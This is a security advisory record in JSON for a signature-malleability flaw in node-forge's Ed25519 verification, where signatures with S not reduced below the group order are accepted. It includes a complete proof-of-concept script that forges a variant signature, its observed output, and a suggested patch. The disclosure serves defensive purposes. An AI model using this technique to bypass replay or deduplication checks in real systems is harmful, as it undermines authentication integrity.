CVE-2026-33895: Node forge Forge Has Signature Forgery Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q67f-28xg-22rw",
  "modified" : "2026-03-27T21:51:06Z",
  "published" : "2026-03-26T22:04:41Z",
  "aliases" : [ "CVE-2026-33895" ],
  "summary" : "Forge has signature forgery in Ed25519 due to missing S > L check",
  "details" : "## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n    \"forge\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": true\n    },\n    \"crypto\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": false\n    }\n}\n```\n\n<details><summary>poc.js</summary>\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst path = require('path');\nconst crypto = require('crypto');\nconst forge = require('./forge');\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from('dderpym is the coolest man alive!');\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n  if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n    throw new Error('signature must be a 64-byte Buffer');\n  }\n  const out = Buffer.from(signature);\n  let carry = 0;\n  for (let i = 0; i < 32; i++) {\n    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n    const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n    out[idx] = sum & 0xff;\n    carry = sum >> 8;\n  }\n  return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n  if (publicKeyBytes.length !== 32) {\n    throw new Error('publicKeyBytes must be 32 bytes');\n  }\n  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\\n');\n  return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n  try {\n    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n    const ok = crypto.verify(null, message, keyObject, signature);\n    return { ok };\n  } catch (error) {\n    return { ok: false, error: error.message };\n  }\n}\n\nfunction toResult(label, original, tweaked) {\n  return {\n    [label]: {\n      original_valid: original.ok,\n      tweaked_valid: tweaked.ok,\n    },\n  };\n}\n\nfunction main() {\n  const kp = ed.generateKeyPair();\n  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n  const tweaked = addLToS(sig);\n  const okTweaked = ed.verify({\n    message: MESSAGE,\n    signature: tweaked.sig,\n    publicKey: kp.publicKey,\n  });\n  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n  const result = {\n    ...toResult('forge', { ok }, { ok: okTweaked }),\n    ...toResult('crypto', cryptoOriginal, cryptoTweaked),\n  };\n  console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n</details>\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n     return -1;\n   }\n\n+  if(!_isCanonicalSignatureScalar(sm, 32)) {\n+    return -1;\n+  }\n+\n   for(i = 0; i < n; ++i) {\n     m[i] = sm[i];\n   }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n   return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+  var i;\n+  // Compare little-endian scalar S against group order L and require S < L.\n+  for(i = 31; i >= 0; --i) {\n+    if(bytes[offset + i] < L[i]) {\n+      return true;\n+    }\n+    if(bytes[offset + i] > L[i]) {\n+      return false;\n+    }\n+  }\n+  // S == L is non-canonical.\n+  return false;\n+}\n+\n function modL(r, x) {\n   var carry, i, j, k;\n   for(i = 63; i >= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n  - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "node-forge"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-35961"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25793"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33895"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85"
  }, {
    "type" : "WEB",
    "url" : "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/digitalbazaar/forge"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-347" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-26T22:04:41Z",
    "nvd_published_at" : "2026-03-27T21:17:26Z"
  }
}